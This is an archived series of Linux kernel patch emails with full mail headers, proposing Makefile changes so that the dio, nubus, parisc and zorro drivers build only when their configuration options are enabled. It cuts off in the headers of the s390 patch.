 drivers/oprofile/Makefile  | 2 ++
 drivers/parisc/Makefile    | 2 +-
 drivers/s390/Makefile      | 8 ++++----
 drivers/zorro/Makefile     | 7 ++++---
 8 files changed, 19 insertions(+), 14 deletions(-)
 create mode 100644 drivers/hwtracing/Makefile
 create mode 100644 drivers/oprofile/Makefile

-- 
2.19.0



From - Thu Nov 08 21:42:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v2 1/7] drivers: dio: Avoids building driver if CONFIG_DIO is
 disabled
Date: Wed, 26 Sep 2018 22:39:56 -0300
Lines: 23
Approved: news@gmane.org
Message-ID: <20180927013956.GA8956@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538012286 13462 195.159.176.226 (27 Sep 2018 01:38:06 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 01:38:06 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 03:38:01 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5LFg-0003Lq-Mm
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 03:38:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727253AbeI0Hzy (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 03:55:54 -0400
Original-Received: from mail-qt1-f193.google.com ([209.85.160.193]:37507 "EHLO
        mail-qt1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726477AbeI0Hzy (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 03:55:54 -0400
Original-Received: by mail-qt1-f193.google.com with SMTP id n6-v6so1099911qtl.4;
        Wed, 26 Sep 2018 18:40:08 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=Ig8aYG+bq8ur+x3OT7VAaBFbnTbtP5co/zowmafEj4M=;
        b=bqSt14mH+2i9+zp4UOK7PpyLoG0psKx6j3C4hWCKigxOXBO0lHU+8nztXYaJWAwOq/
         wPQeVlT5KhXzETwX0egubL5zsDtqL7ZoAOHblp4Hp+840D0xfuAEEhhxLGyou66oJ71T
         pO0L8PQd4HXNv9uxI9Yj9nc7ZpKt7Xp7fLDRDrGecZfQCqX+KjcmvoznOLmF+qBaG7PO
         WF4/Fk6CJNuGJs6LjDojt5Eoqn6XbWTmiiVfXLac86u0+OIH993FIEstScFneL1p+2Jv
         93cBFZEkKrbUcNyqDOIrFEKZG8g8bL6n05EerYC6AL3HUQ/JMFrGWvAkiX+5sHTmArxH
         zW/w==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=Ig8aYG+bq8ur+x3OT7VAaBFbnTbtP5co/zowmafEj4M=;
        b=Xynor3n0ZJR5AYQwZ36+EoGV/9SYQ4muzdkOiviltolQL5C1IWku7rM3VIsYfDU/MF
         1p+Pvk23eStq2m3V5S1jrjzd9rJTfIUboEnyqj2JssMFfuiPsi1e2iyxuGri8Ec5Y7Xu
         Bfg863/Uos6Zba+U54Mc7hopxoTz3xOvpcFOh05fHiOI3qYKI4hTOHv6qIoGOww2KraM
         OroQbDPl6mARzIKFGJeS4ZQVxLj9s7xKee9Ujy4oVhe4aijbbyb2WIR3qfLEAaiZP5/1
         fk5feOMCYfqnC84RYxiBQFAK2X/suWR0rty5OeQhSash4TuaUgy/O9kzeRGJ1FAAlHIy
         X+Qg==
X-Gm-Message-State: ABuFfoj78lnTcXqm3D9nl5DPs3J6NTeUX+bNeIWUGvjVS3WT3FVt2nAa
        EY1OvUqHtJO31ZcxDFz9Rwo=
X-Google-Smtp-Source: ACcGV6309DusnbuhHD0Ny9IZZB55hmhLj9RQMOGISG6Fye8zX2V/LyUnTxIvzv840osoQU7cweW7Ww==
X-Received: by 2002:a0c:d2d3:: with SMTP id x19-v6mr6536821qvh.104.1538012407962;
        Wed, 26 Sep 2018 18:40:07 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id w5-v6sm454871qkw.69.2018.09.26.18.39.59
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 26 Sep 2018 18:40:07 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883015 gmane.linux.oprofile:13229 gmane.linux.ports.parisc:29025
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883015>

Avoids building driver if 'make drivers/dio/' is called and
CONFIG_DIO is disabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/dio/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/dio/Makefile b/drivers/dio/Makefile
index ae92d17083f2..f5cffe232448 100644
--- a/drivers/dio/Makefile
+++ b/drivers/dio/Makefile
@@ -2,4 +2,4 @@
 # Makefile for the linux kernel.
 #
 
-obj-y := dio.o dio-driver.o dio-sysfs.o
+obj-$(CONFIG_DIO) := dio.o dio-driver.o dio-sysfs.o
\ No newline at end of file
-- 
2.19.0



From - Thu Nov 08 21:42:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v2 2/7] drivers: nubus: Avoids building driver if
 CONFIG_NUBUS is disabled
Date: Wed, 26 Sep 2018 22:40:14 -0300
Lines: 28
Approved: news@gmane.org
Message-ID: <20180927014014.GA8972@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538012306 14868 195.159.176.226 (27 Sep 2018 01:38:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 01:38:26 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 03:38:20 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5LG0-0003jG-9V
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 03:38:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727284AbeI0H4P (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 03:56:15 -0400
Original-Received: from mail-qt1-f196.google.com ([209.85.160.196]:43540 "EHLO
        mail-qt1-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726962AbeI0H4O (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 03:56:14 -0400
Original-Received: by mail-qt1-f196.google.com with SMTP id l16-v6so1061541qtq.10;
        Wed, 26 Sep 2018 18:40:28 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=az4VG2kDleDEIQbELh7WthCOA8Gd6LhdwtP9/ZvOfHo=;
        b=Tza4NE0h50eH0auHPhztiJ+Hc18T1byxhVMJvrgmR41lBE8Gsz+Yyq3rQ7Fm1WeJle
         6BEgR6uSENMVaMe/EdYweeoLb2q2ly7FXiBSrVm2O3k2HG0XJwM+wNanBk5J2VqIMMzU
         0ISvQW+JHh3CzxBqEi8yMN/qDOgr0ebkEhoId+I7KHwuANY2LF8mAloDJ3p4l+pwQJtF
         d7tcohjY8Lf6vIJxwSp+EYR3ATRgOVEYplhMeS/OimFF/pUnA5Vz/OUvyjBhC/4IJMER
         4mSgq7rhEddv8Yu2JUABr2fJb5Lj7IDQiIZX6ZEgKP5992UfO8Por5EC7yoa1sFnxZr2
         EgGg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=az4VG2kDleDEIQbELh7WthCOA8Gd6LhdwtP9/ZvOfHo=;
        b=uKPhu0WDlbHGvJ/kxGoqb63+htaEv5r2ra/JNTD8cpk4SH4k+XRlVYKNb5zNmR6Fwr
         EnzIQmoYfsxuUuunOJQKpQrBXlabyt38R14QI4Gsaw9Zn0ngDxIZdGTxB1Cr9yGhySsQ
         V1EBtVE9aQJA2SiUZStSPXczDDkE+GiyL1r/IZBgnYMaEjZCb1F7qlWzKl9VVWBBJOtA
         tuYhaRlMYnuIXvKSsSEuBFI2ufWxs1yNy0oHr+C8+FRU2cle2ow3aLnaSpfqV9XHQQ6H
         gy/1DqhyPtiUm1q5hPP/vNzR5RBpTGfzbsD+t8CgHCxEPfCyRerBwkywP8PMp4E22FdC
         nlbw==
X-Gm-Message-State: ABuFfoitayanSTzwLUocW6anTIqKZbKNOrFQech0IBk8m9rdCp7QZG2I
        NQu/TFBwWkv5m1rYds6qDO8=
X-Google-Smtp-Source: ACcGV60ZCmvvTLVdxyo92oRKYJ8V2Bh8kTpd1D9LF4pjui2+sHZERtQvn6MCnlk1mVOnrKrfRQkCFQ==
X-Received: by 2002:a0c:e80e:: with SMTP id y14-v6mr6394038qvn.23.1538012428501;
        Wed, 26 Sep 2018 18:40:28 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id 8-v6sm488422qtv.38.2018.09.26.18.40.21
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 26 Sep 2018 18:40:28 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883016 gmane.linux.oprofile:13230 gmane.linux.ports.parisc:29026
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883016>

Avoids building driver if 'make drivers/nubus/' is called and
CONFIG_NUBUS is disabled.
Avoids building proc.o if CONFIG_PROC_FS is enabled but
CONFIG_NUBUS is disabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/nubus/Makefile | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/drivers/nubus/Makefile b/drivers/nubus/Makefile
index 6d063cde39d1..1daa51217e95 100644
--- a/drivers/nubus/Makefile
+++ b/drivers/nubus/Makefile
@@ -2,6 +2,7 @@
 # Makefile for the nubus specific drivers.
 #
 
-obj-y := nubus.o bus.o
+obj-$(CONFIG_NUBUS) := nubus_all.o
+nubus_all-y += bus.o nubus.o
 
-obj-$(CONFIG_PROC_FS) += proc.o
+nubus_all-$(CONFIG_PROC_FS) += proc.o
-- 
2.19.0



From - Thu Nov 08 21:42:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v2 3/7] drivers: parisc: Avoids building driver if
 CONFIG_PARISC is disabled
Date: Wed, 26 Sep 2018 22:40:37 -0300
Lines: 23
Approved: news@gmane.org
Message-ID: <20180927014037.GA8976@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538012326 16171 195.159.176.226 (27 Sep 2018 01:38:46 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 01:38:46 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 03:38:41 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5LGK-00042M-Tn
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 03:38:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727351AbeI0H4g (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 03:56:36 -0400
Original-Received: from mail-qk1-f195.google.com ([209.85.222.195]:43437 "EHLO
        mail-qk1-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726698AbeI0H4f (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 03:56:35 -0400
Original-Received: by mail-qk1-f195.google.com with SMTP id v18-v6so609879qka.10;
        Wed, 26 Sep 2018 18:40:49 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=Ml1FFJEZov3NZzRMfIOgz+x2FcVyTrOzctjRuk6MfEU=;
        b=j1VkSiCnXyZfqRMkSeVVgvvQLIikE6B2suoNKKz1wXo04RnDKfr4ACq7zBtMu/5oZY
         y1fyXZTWcNCHwS7+eodRGwJo2AitCsbpBFPWTYK8dMuzjkn+dAac1kmCHptrWdyBhwTJ
         D0OMQxCi5ag8Ac6o4ICn88KDI3YHm89Z6Z7px+61LKlCjQkTGHeg7A+veHj0MSz7zNgb
         tJhjtD5Fes7lP3VOBvPIILN0RkHHmf8xcDC8yMe8+DnzoAuCcxcxrAQDWBrGBTTy+NO1
         KXga19G+gqoT/7838MCeHIDJuDwl2vaE0nxMI7RcuhwFAOgRBPYeGxWz1VgU2byK6RK4
         5rXQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=Ml1FFJEZov3NZzRMfIOgz+x2FcVyTrOzctjRuk6MfEU=;
        b=OD6C0M0m/mFsP8KBtkT1ytprkQdPzAYV01HSJ44BXhIOryuHkS/UeMZEb2Z2i5CE9E
         qK2ScckHN2bdloqr/f5U6g+4f31C070so+gXm6Oe8kw7rXjATEExgxiUSdVILYeuQIcZ
         Evhk/HsZ+cN6FYoVC2b92qdjYPpDWEvD1MBC37gG8m3I81rTYIzkgPDF9iLyEeID053N
         mmGTQE0oLMuIaUljKFXAHZ3RgsK9R1f2xxymZd/fvIp2JiY/kmH1xOIQI6iJNrC+xva5
         8n9jH355yg0i4CmPR/0YcXFDIuBjh36gPqHFoMwTeRHkq6m2YPvu7e4E0BWZY800l4IP
         iZXQ==
X-Gm-Message-State: ABuFfojXXlTo+n3OVKV9Ipv0LAP7i9Sj/G9R6vvwZDHCuvraQT+7oVgt
        xlDPkU+P0iegqqjaQSC+zk+9lgvI
X-Google-Smtp-Source: ACcGV600fnGzHAFuatXk3BE872ZM2CO6bbt5pEab81Vus8WP68KAfBz7h/a238QavPxTAA3imkd65A==
X-Received: by 2002:a37:f42:: with SMTP id z63-v6mr5847447qkg.132.1538012448900;
        Wed, 26 Sep 2018 18:40:48 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id 141-v6sm373802qkl.31.2018.09.26.18.40.40
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 26 Sep 2018 18:40:48 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883018 gmane.linux.oprofile:13231 gmane.linux.ports.parisc:29027
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883018>

Avoids building driver if 'make drivers/parisc/' is called and
CONFIG_PARISC is disabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/parisc/Makefile | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/Makefile b/drivers/parisc/Makefile
index 3cd5e6cb8478..80049d763aa0 100644
--- a/drivers/parisc/Makefile
+++ b/drivers/parisc/Makefile
@@ -24,5 +24,5 @@ obj-$(CONFIG_EISA)		+= eisa.o eisa_enumerator.o eisa_eeprom.o
 obj-$(CONFIG_SUPERIO)		+= superio.o
 obj-$(CONFIG_CHASSIS_LCD_LED)	+= led.o
 obj-$(CONFIG_PDC_STABLE)	+= pdc_stable.o
-obj-y				+= power.o
+obj-$(CONFIG_PARISC)		+= power.o
 
-- 
2.19.0



From - Thu Nov 08 21:42:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v2 4/7] drivers: zorro: Avoids building proc.o if
 CONFIG_ZORRO is disabled
Date: Wed, 26 Sep 2018 22:40:55 -0300
Lines: 30
Approved: news@gmane.org
Message-ID: <20180927014055.GA8980@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538012347 17659 195.159.176.226 (27 Sep 2018 01:39:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 01:39:07 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 03:39:01 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5LGf-0004Rr-F6
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 03:39:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1727360AbeI0H44 (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Thu, 27 Sep 2018 03:56:56 -0400
Original-Received: from mail-qt1-f193.google.com ([209.85.160.193]:41989 "EHLO
        mail-qt1-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1726653AbeI0H4z (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 27 Sep 2018 03:56:55 -0400
Original-Received: by mail-qt1-f193.google.com with SMTP id z8-v6so1066513qto.9;
        Wed, 26 Sep 2018 18:41:09 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=date:from:to:cc:subject:message-id:mime-version:content-disposition
         :content-transfer-encoding:user-agent;
        bh=FnsE+PwbSYT7Ik4sfBLqTvLMfucbH50GCrBzd4xVqgg=;
        b=vFWCvQa7tnqThSyIg61h11TzRYmazLFRVMagQ6EeYcNXsxMo4Wn9ZPlhVcIz5uAbTj
         aMXaDWfJupnoVdoged8/tDjnBoPqtUQHGXmwJiioFlRlKRh+AE9ozyrYl2WUKYMqQAQr
         nYgum1YolbePHVxfZ6CoR0bqbalfZq+ZMDI/4NPnxmqxj6CxijrUeBT57YLm4U7wQG3W
         puuLkxbQ7PbI1YElFM96GYy+SRbDIhCz2YYBs9/BD6Y71obgnwidCgDYfyDvzFSPIAIG
         b8zHD98GA38r2Enwn+U0szUgguDUZy8GHGqUZjUqUZxISXLbAxGYZXx7mGGzplbQTnWT
         nDog==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
         :content-disposition:content-transfer-encoding:user-agent;
        bh=FnsE+PwbSYT7Ik4sfBLqTvLMfucbH50GCrBzd4xVqgg=;
        b=REjLB42Rh7tBBw2GB02qkJsGTl+nNd9Cllh2Pt7OR9UOFNEi9TxlnwdvrOcYPGsBLZ
         dkdEky83AjDPluipVNfteQQSXsz2L0O/CFDoDucmVanr+1mtVnQLYoiJ7grvvaoJP9g/
         isQ87+bYWXslB24lp8hBWtW0PUhz/DISlqNW85vNfEZ95eioC3hIkpyiSajmzu9yXgSm
         vhDwHmOsqgdrqKPhQQ9mGeeI7bCfBdF38Zxr1khSMYZoHu6auynw1DjiHooezkvghEyz
         uUL91V2xWN1M+6bJu3zbHlVp8kdY6xby/qEAnywz8JEmiDXgMPJx+wbsvi3X3acORwi3
         ZKIQ==
X-Gm-Message-State: ABuFfojRm11lsU6WHabR/6LgtT1lsmPgWseptSEwETRd9KuLelNYbsbX
        nCkO4wqAeyKBqgJD4AhSGVg=
X-Google-Smtp-Source: ACcGV61TjBaHQXV0tUSKpRxUZWHrTiGPp/X8X64qgxOPcCcI5KRxNgoxsXZ8jZ3zCcb+02R0FvB+oA==
X-Received: by 2002:a05:6214:114b:: with SMTP id b11mr6408094qvt.168.1538012469007;
        Wed, 26 Sep 2018 18:41:09 -0700 (PDT)
Original-Received: from WindFlash ([179.159.21.48])
        by smtp.gmail.com with ESMTPSA id a187-v6sm400221qkd.47.2018.09.26.18.40.59
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Wed, 26 Sep 2018 18:41:08 -0700 (PDT)
Content-Disposition: inline
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2883019 gmane.linux.oprofile:13232 gmane.linux.ports.parisc:29028
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2883019>

Avoids building proc.o if 'make drivers/zorro/' is called and
CONFIG_ZORRO is disabled, even if CONFIG_PROC_FS is enabled.

Signed-off-by: Leonardo Brás <leobras.c@gmail.com>
---
 drivers/zorro/Makefile | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/drivers/zorro/Makefile b/drivers/zorro/Makefile
index b360ac4ea846..d580f9f08e0a 100644
--- a/drivers/zorro/Makefile
+++ b/drivers/zorro/Makefile
@@ -3,9 +3,10 @@
 # Makefile for the Zorro bus specific drivers.
 #
 
-obj-$(CONFIG_ZORRO)	+= zorro.o zorro-driver.o zorro-sysfs.o
-obj-$(CONFIG_PROC_FS)	+= proc.o
-obj-$(CONFIG_ZORRO_NAMES) +=  names.o
+obj-$(CONFIG_ZORRO) 		:= zorro_all.o
+zorro_all-y			+= zorro.o zorro-driver.o zorro-sysfs.o
+zorro_all-$(CONFIG_ZORRO_NAMES) += names.o
+zorro_all-$(CONFIG_PROC_FS)	+= proc.o
 
 hostprogs-y 		:= gen-devlist
 
-- 
2.19.0



From - Thu Nov 08 21:42:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Leonardo =?utf-8?B?QnLDoXM=?= <leobras.c@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.oprofile,gmane.linux.ports.parisc
Subject: [PATCH v2 5/7] drivers: s390: Avoids building drivers if ARCH is not
 s390.
Date: Wed, 26 Sep 2018 22:41:13 -0300
Lines: 28
Approved: news@gmane.org
Message-ID: <20180927014113.GA8984@WindFlash>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1538012364 18724 195.159.176.226 (27 Sep 2018 01:39:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 27 Sep 2018 01:39:24 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: Alexander Shishkin <alexander.shishkin@linux.intel.com>,
        Finn Thain <fthain@telegraphics.com.au>,
        Robert Richter <rric@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Martin Schwidefsky <schwidefsky@de.ibm.com>,
        Heiko Carstens <heiko.carstens@de.ibm.com>,
        Geert Uytterhoeven <geert@linux-m68k.org>,
        linux-kernel@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
        oprofile-list@lists.sf.net, linux-parisc@vger.kernel.org,
        linux-s390@vger.kernel.org
To: lkcamp@lists.libreplanetbr.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Sep 27 03:39:19 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1g5LGw-0004Rr-PR
	for glk-linux-kernel-4@m.gmane.org; Thu, 27 Sep 2018 03:39:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
